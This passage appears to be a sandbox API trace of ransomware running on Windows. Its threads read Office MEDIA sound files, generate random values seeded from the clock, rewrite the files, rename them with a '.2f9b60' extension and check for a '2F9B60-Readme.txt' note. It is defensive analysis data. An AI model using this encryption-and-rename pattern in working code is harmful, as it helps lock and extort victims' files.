dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.010] ReadFile (in: hFile=0x1614, lpBuffer=0x2049d320, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1dc9fa80, lpOverlapped=0x0 | out: lpBuffer=0x2049d320*, lpNumberOfBytesRead=0x1dc9fa80*=0x3c00, lpOverlapped=0x0) returned 1 [0182.089] SetFilePointerEx (in: hFile=0x1614, liDistanceToMove=0x2ba76, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f0c0 [0182.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f0c0) returned 1 [0182.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42371d40 [0182.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f0c0 [0182.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f0f0 [0182.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f0f0) returned 1 [0182.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.093] WriteFile (in: hFile=0x1614, lpBuffer=0x42371d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1dc9fa80, lpOverlapped=0x0 | out: lpBuffer=0x42371d40*, lpNumberOfBytesWritten=0x1dc9fa80*=0x3c00, lpOverlapped=0x0) returned 1 [0198.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42371d40) returned 1 [0198.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4309f8a0 [0198.750] SetFilePointerEx (in: hFile=0x1614, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0198.750] WriteFile (in: hFile=0x1614, lpBuffer=0x1cebdd20*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x1dc9fb30, lpOverlapped=0x0 | out: lpBuffer=0x1cebdd20*, lpNumberOfBytesWritten=0x1dc9fb30*=0x142, lpOverlapped=0x0) returned 1 [0203.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c150 [0203.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307e00 [0203.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431394f0 [0203.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431394f0) returned 1 [0203.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x42c0f120 [0203.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431394f0 [0203.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431394c0 [0203.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431394c0) returned 1 [0203.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307e00) returned 1 [0203.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0203.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x431394c0 [0203.677] sprintf (in: _Dest=0x431394c0, _Format="%c%c" | out: _Dest="d5") returned 2 [0203.677] sprintf (in: _Dest=0x431394c2, _Format="%c%c" | out: _Dest="12") returned 2 [0203.677] sprintf (in: _Dest=0x431394c4, _Format="%c%c" | out: _Dest="b0") returned 2 [0203.677] sprintf (in: _Dest=0x431394c6, _Format="%c%c" | out: _Dest="31") returned 2 [0203.677] sprintf (in: _Dest=0x431394c8, _Format="%c%c" | out: _Dest="e5") returned 2 [0203.677] sprintf (in: _Dest=0x431394ca, _Format="%c%c" | out: _Dest="be") returned 2 [0203.677] sprintf (in: _Dest=0x431394cc, _Format="%c%c" | out: _Dest="b1") returned 2 [0203.677] sprintf (in: _Dest=0x431394ce, _Format="%c%c" | out: _Dest="ff") returned 2 [0203.677] sprintf (in: _Dest=0x431394d0, _Format="%c%c" | out: _Dest="a2") returned 2 [0203.677] sprintf (in: _Dest=0x431394d2, _Format="%c%c" | out: _Dest="5e") returned 2 [0203.677] sprintf (in: _Dest=0x431394d4, _Format="%c%c" | out: _Dest="08") returned 2 [0203.677] sprintf (in: _Dest=0x431394d6, _Format="%c%c" | out: _Dest="32") returned 2 [0203.677] sprintf (in: _Dest=0x431394d8, _Format="%c%c" | out: _Dest="79") returned 2 [0203.677] sprintf (in: _Dest=0x431394da, _Format="%c%c" | out: _Dest="ba") returned 2 [0203.677] sprintf (in: _Dest=0x431394dc, _Format="%c%c" | out: _Dest="a7") returned 2 [0203.677] sprintf (in: _Dest=0x431394de, _Format="%c%c" | out: _Dest="44") returned 2 [0203.677] RtlInitAnsiString (in: DestinationString=0x1dc9fba8, SourceString="d512b031e5beb1ffa25e083279baa744" | out: DestinationString="d512b031e5beb1ffa25e083279baa744") [0203.678] RtlAnsiStringToUnicodeString (in: DestinationString=0x1dc9fb78, SourceString="d512b031e5beb1ffa25e083279baa744", AllocateDestinationString=1 | out: DestinationString="d512b031e5beb1ffa25e083279baa744") returned 0x0 [0203.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1ce62320 [0203.678] wcscat (in: _Dest=0x431a4610, _Source="d512b031" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\d512b031") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\d512b031" [0203.678] wcscat (in: _Dest=0x431a4610, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\d512b031.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\d512b031.2f9b60" [0203.679] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\d512b031.2f9b60", NtPathName=0x1dc9fb50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\d512b031.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0203.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x43130eb0 [0216.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43130eb0) returned 1 [0216.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42cc8db0) returned 1 [0216.557] NtQueryInformationFile (in: FileHandle=0x1614, IoStatusBlock=0x1dc9fbb8, FileInformation=0x1dc9fbc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1dc9fbb8, FileInformation=0x1dc9fbc8) returned 0x0 [0216.557] NtSetInformationFile (FileHandle=0x1614, IoStatusBlock=0x1dc9fbb8, FileInformation=0x1dc9fbc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0219.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a4610) returned 1 [0219.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62320) returned 1 [0219.799] FlushFileBuffers (hFile=0x1614) returned 1 [0221.373] CloseHandle (hObject=0x1614) returned 1 [0222.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a4380 [0222.838] wcscpy (in: _Dest=0x202a4380, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0222.838] wcscat (in: _Dest=0x202a4380, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" [0222.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\media\\2f9b60-readme.txt")) returned 0x20 [0222.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4380) returned 1 [0222.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867fc0) returned 1 Thread: id = 901 os_tid = 0x14bc [0101.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\breeze.wav")) returned 0x20 [0102.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV", dwFileAttributes=0x20) returned 1 [0103.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\breeze.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x171c [0103.036] GetFileSizeEx (in: hFile=0x171c, lpFileSize=0x2e01f680 | out: lpFileSize=0x2e01f680*=4290) returned 1 [0103.036] SetFilePointerEx (in: hFile=0x171c, liDistanceToMove=0x10be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.036] ReadFile (in: hFile=0x171c, lpBuffer=0x2e01f600, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e01f648, lpOverlapped=0x0 | out: lpBuffer=0x2e01f600*, lpNumberOfBytesRead=0x2e01f648*=0x4, lpOverlapped=0x0) returned 1 [0103.055] SetFilePointerEx (in: hFile=0x171c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263530 [0103.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263200 [0103.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202631d0 [0103.055] NtQuerySystemTime (in: CurrentTime=0x2e01f540 | out: CurrentTime=0x2e01f540*=132462177085678000) returned 0x0 [0103.055] RtlRandomEx (in: Seed=0x2e01f530 | out: Seed=0x2e01f530) returned 0x70381a72 [0103.055] RtlRandomEx (in: Seed=0x2e01f530 | out: Seed=0x2e01f530) returned 0x6390fa01 [0103.055] RtlRandomEx (in: Seed=0x2e01f530 | out: Seed=0x2e01f530) returned 0x4223a099 [0103.055] RtlRandomEx (in: Seed=0x2e01f530 | out: Seed=0x2e01f530) returned 0x7ab3b5ed [0103.055] RtlRandomEx (in: Seed=0x2e01f530 | out: Seed=0x2e01f530) returned 0x3e1271a9 [0103.056] RtlRandomEx (in: Seed=0x2e01f530 | out: Seed=0x2e01f530) returned 0x2770ebbf [0103.056] RtlRandomEx (in: Seed=0x2e01f530 | out: Seed=0x2e01f530) returned 0x5815d7 [0103.056] RtlRandomEx (in: Seed=0x2e01f530 | out: Seed=0x2e01f530) returned 0x37c6e3c [0103.056] RtlRandomEx (in: Seed=0x2e01f530 | out: Seed=0x2e01f530) returned 0x68f7b2dc [0103.056] RtlRandomEx (in: Seed=0x2e01f530 | out: Seed=0x2e01f530) returned 0x7cf7e5d2 [0103.056] RtlRandomEx (in: Seed=0x2e01f530 | out: Seed=0x2e01f530) returned 0x76035233 [0103.056] RtlRandomEx (in: Seed=0x2e01f530 | out: Seed=0x2e01f530) returned 0x19a9f529 [0103.056] RtlRandomEx (in: Seed=0x2e01f530 | out: Seed=0x2e01f530) returned 0xca1a6b8 [0103.056] RtlRandomEx (in: Seed=0x2e01f530 | out: Seed=0x2e01f530) returned 0x5c65ba3d [0103.056] RtlRandomEx (in: Seed=0x2e01f530 | out: Seed=0x2e01f530) returned 0x4d421b3b [0103.056] RtlRandomEx (in: Seed=0x2e01f530 | out: Seed=0x2e01f530) returned 0x73c175a3 [0103.056] RtlRandomEx (in: Seed=0x2e01f530 | out: Seed=0x2e01f530) returned 0xf94a989 [0103.056] RtlRandomEx (in: Seed=0x2e01f530 | out: Seed=0x2e01f530) returned 0x6a7997 [0103.056] RtlRandomEx (in: Seed=0x2e01f530 | out: Seed=0x2e01f530) returned 0x138603ef [0103.056] RtlRandomEx (in: Seed=0x2e01f530 | out: Seed=0x2e01f530) returned 0x5deb54cd [0103.056] RtlRandomEx (in: Seed=0x2e01f530 | out: Seed=0x2e01f530) returned 0x4de9513e [0103.056] RtlRandomEx (in: Seed=0x2e01f530 | out: Seed=0x2e01f530) returned 0x3f08a8a8 [0103.056] RtlRandomEx (in: Seed=0x2e01f530 | out: Seed=0x2e01f530) returned 0x32774fa9 [0103.056] RtlRandomEx (in: Seed=0x2e01f530 | out: Seed=0x2e01f530) returned 0x2bd7994 [0103.056] RtlRandomEx (in: Seed=0x2e01f530 | out: Seed=0x2e01f530) returned 0x31e15a2d [0103.056] RtlRandomEx (in: Seed=0x2e01f530 | out: Seed=0x2e01f530) returned 0x1550708d [0103.056] RtlRandomEx (in: Seed=0x2e01f530 | out: Seed=0x2e01f530) returned 0x7de580a3 [0103.056] RtlRandomEx (in: Seed=0x2e01f530 | out: Seed=0x2e01f530) returned 0x2023aee6 [0103.056] RtlRandomEx (in: Seed=0x2e01f530 | out: Seed=0x2e01f530) returned 0x2d295f65 [0103.056] RtlRandomEx (in: Seed=0x2e01f530 | out: Seed=0x2e01f530) returned 0x6f7ba818 [0103.056] RtlRandomEx (in: Seed=0x2e01f530 | out: Seed=0x2e01f530) returned 0x4277228c [0103.056] RtlRandomEx (in: Seed=0x2e01f530 | out: Seed=0x2e01f530) returned 0x1768df99 [0103.064] ReadFile (in: hFile=0x171c, lpBuffer=0x41f6e130, nNumberOfBytesToRead=0x10c2, lpNumberOfBytesRead=0x2e01f530, lpOverlapped=0x0 | out: lpBuffer=0x41f6e130*, lpNumberOfBytesRead=0x2e01f530*=0x10c2, lpOverlapped=0x0) returned 1 [0103.115] SetFilePointerEx (in: hFile=0x171c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.115] WriteFile (in: hFile=0x171c, lpBuffer=0x41f71d40*, nNumberOfBytesToWrite=0x10c2, lpNumberOfBytesWritten=0x2e01f534, lpOverlapped=0x0 | out: lpBuffer=0x41f71d40*, lpNumberOfBytesWritten=0x2e01f534*=0x10c2, lpOverlapped=0x0) returned 1 [0147.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85feb0 [0147.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd60 [0147.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd60) returned 1 [0147.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f71d40) returned 1 [0147.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f6e130) returned 1 [0147.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503790) returned 1 [0147.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97fd0) returned 1 [0147.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85fd60 [0147.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97fd0 [0147.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503790 [0147.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ae0 [0147.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860ae0) returned 1 [0147.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b860ae0 [0147.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd30 [0147.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fe50 [0147.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fe50) returned 1 [0147.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503790) returned 1 [0147.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97fd0) returned 1 [0147.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x169f70 [0147.850] SetFilePointerEx (in: hFile=0x171c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0147.850] WriteFile (in: hFile=0x171c, lpBuffer=0x169f70*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2e01f650, lpOverlapped=0x0 | out: lpBuffer=0x169f70*, lpNumberOfBytesWritten=0x2e01f650*=0x106, lpOverlapped=0x0) returned 1 [0163.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058ab0 [0163.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869240 [0163.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859ca0 [0163.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859ca0) returned 1 [0163.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d1c0 [0163.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859ca0 [0163.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859cd0 [0163.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859cd0) returned 1 [0163.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0163.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ab0) returned 1 [0163.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9ebf0 [0163.043] sprintf (in: _Dest=0x1cd9ebf0, _Format="%c%c" | out: _Dest="2b") returned 2 [0163.043] sprintf (in: _Dest=0x1cd9ebf2, _Format="%c%c" | out: _Dest="ef") returned 2 [0163.043] sprintf (in: _Dest=0x1cd9ebf4, _Format="%c%c" | out: _Dest="90") returned 2 [0163.043] sprintf (in: _Dest=0x1cd9ebf6, _Format="%c%c" | out: _Dest="42") returned 2 [0163.043] sprintf (in: _Dest=0x1cd9ebf8, _Format="%c%c" | out: _Dest="77") returned 2 [0163.043] sprintf (in: _Dest=0x1cd9ebfa, _Format="%c%c" | out: _Dest="2e") returned 2 [0163.043] sprintf (in: _Dest=0x1cd9ebfc, _Format="%c%c" | out: _Dest="de") returned 2 [0163.043] sprintf (in: _Dest=0x1cd9ebfe, _Format="%c%c" | out: _Dest="d8") returned 2 [0163.043] sprintf (in: _Dest=0x1cd9ec00, _Format="%c%c" | out: _Dest="d7") returned 2 [0163.043] sprintf (in: _Dest=0x1cd9ec02, _Format="%c%c" | out: _Dest="ea") returned 2 [0163.043] sprintf (in: _Dest=0x1cd9ec04, _Format="%c%c" | out: _Dest="8e") returned 2 [0163.043] sprintf (in: _Dest=0x1cd9ec06, _Format="%c%c" | out: _Dest="ad") returned 2 [0163.043] sprintf (in: _Dest=0x1cd9ec08, _Format="%c%c" | out: _Dest="68") returned 2 [0163.043] sprintf (in: _Dest=0x1cd9ec0a, _Format="%c%c" | out: _Dest="ba") returned 2 [0163.043] sprintf (in: _Dest=0x1cd9ec0c, _Format="%c%c" | out: _Dest="b5") returned 2 [0163.043] sprintf (in: _Dest=0x1cd9ec0e, _Format="%c%c" | out: _Dest="11") returned 2 [0163.043] sprintf (in: _Dest=0x1cd9ec10, _Format="%c%c" | out: _Dest="c1") returned 2 [0163.043] sprintf (in: _Dest=0x1cd9ec12, _Format="%c%c" | out: _Dest="e8") returned 2 [0163.043] sprintf (in: _Dest=0x1cd9ec14, _Format="%c%c" | out: _Dest="ab") returned 2 [0163.043] sprintf (in: _Dest=0x1cd9ec16, _Format="%c%c" | out: _Dest="09") returned 2 [0163.043] RtlInitAnsiString (in: DestinationString=0x2e01f6c8, SourceString="2bef9042772eded8d7ea8ead68bab511c1e8ab09" | out: DestinationString="2bef9042772eded8d7ea8ead68bab511c1e8ab09") [0163.043] RtlAnsiStringToUnicodeString (in: DestinationString=0x2e01f698, SourceString="2bef9042772eded8d7ea8ead68bab511c1e8ab09", AllocateDestinationString=1 | out: DestinationString="2bef9042772eded8d7ea8ead68bab511c1e8ab09") returned 0x0 [0163.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd86a90 [0163.044] RtlFreeAnsiString (AnsiString="2") [0163.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ebf0) returned 1 [0163.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0163.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859ca0) returned 1 [0163.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x169f70) returned 1 [0163.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860ae0) returned 1 [0163.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd30) returned 1 [0163.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd60) returned 1 [0163.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85feb0) returned 1 [0163.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263200) returned 1 [0163.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263110) returned 1 [0163.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261460) returned 1 [0163.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x42c22360 [0163.048] wcscat (in: _Dest=0x42c22360, _Source="2bef904277" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2bef904277") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2bef904277" [0163.048] wcscat (in: _Dest=0x42c22360, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2bef904277.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2bef904277.2f9b60" [0163.048] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2bef904277.2f9b60", NtPathName=0x2e01f670, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2bef904277.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.048] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1b861f90 [0165.278] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861f90) returned 1 [0165.278] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1cde0) returned 1 [0165.278] NtQueryInformationFile (in: FileHandle=0x171c, IoStatusBlock=0x2e01f6d8, FileInformation=0x2e01f6e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2e01f6d8, FileInformation=0x2e01f6e8) returned 0x0 [0165.278] NtSetInformationFile (FileHandle=0x171c, IoStatusBlock=0x2e01f6d8, FileInformation=0x2e01f6e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c22360) returned 1 [0165.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86a90) returned 1 [0165.280] FlushFileBuffers (hFile=0x171c) returned 1 [0166.257] CloseHandle (hObject=0x171c) returned 1 [0184.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x42c23170 [0184.081] wcscpy (in: _Dest=0x42c23170, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0184.081] wcscat (in: _Dest=0x42c23170, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" [0184.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\media\\2f9b60-readme.txt")) returned 0x20 [0184.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c23170) returned 1 [0184.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868040) returned 1 Thread: id = 902 os_tid = 0x14c0 [0101.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\camera.wav")) returned 0x20 [0102.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV", dwFileAttributes=0x20) returned 1 [0102.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\camera.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1674 [0102.955] GetFileSizeEx (in: hFile=0x1674, lpFileSize=0x2e12f820 | out: lpFileSize=0x2e12f820*=5524) returned 1 [0102.955] SetFilePointerEx (in: hFile=0x1674, liDistanceToMove=0x1590, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.955] ReadFile (in: hFile=0x1674, lpBuffer=0x2e12f7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e12f7e8, lpOverlapped=0x0 | out: lpBuffer=0x2e12f7a0*, lpNumberOfBytesRead=0x2e12f7e8*=0x4, lpOverlapped=0x0) returned 1 [0102.977] SetFilePointerEx (in: hFile=0x1674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ba0 [0102.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260440 [0102.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202603b0 [0102.978] NtQuerySystemTime (in: CurrentTime=0x2e12f6e0 | out: CurrentTime=0x2e12f6e0*=132462177084898000) returned 0x0 [0102.978] RtlRandomEx (in: Seed=0x2e12f6d0 | out: Seed=0x2e12f6d0) returned 0x50f07fac [0102.978] RtlRandomEx (in: Seed=0x2e12f6d0 | out: Seed=0x2e12f6d0) returned 0x64b14223 [0102.978] RtlRandomEx (in: Seed=0x2e12f6d0 | out: Seed=0x2e12f6d0) returned 0x7d606b47 [0102.978] RtlRandomEx (in: Seed=0x2e12f6d0 | out: Seed=0x2e12f6d0) returned 0x57fdff40 [0102.978] RtlRandomEx (in: Seed=0x2e12f6d0 | out: Seed=0x2e12f6d0) returned 0x1ee9dd13 [0102.978] RtlRandomEx (in: Seed=0x2e12f6d0 | out: Seed=0x2e12f6d0) returned 0x653d7181 [0102.978] RtlRandomEx (in: Seed=0x2e12f6d0 | out: Seed=0x2e12f6d0) returned 0x2e25e094 [0102.978] RtlRandomEx (in: Seed=0x2e12f6d0 | out: Seed=0x2e12f6d0) returned 0x5deda26a [0102.978] RtlRandomEx (in: Seed=0x2e12f6d0 | out: Seed=0x2e12f6d0) returned 0x67713c0d [0102.978] RtlRandomEx (in: Seed=0x2e12f6d0 | out: 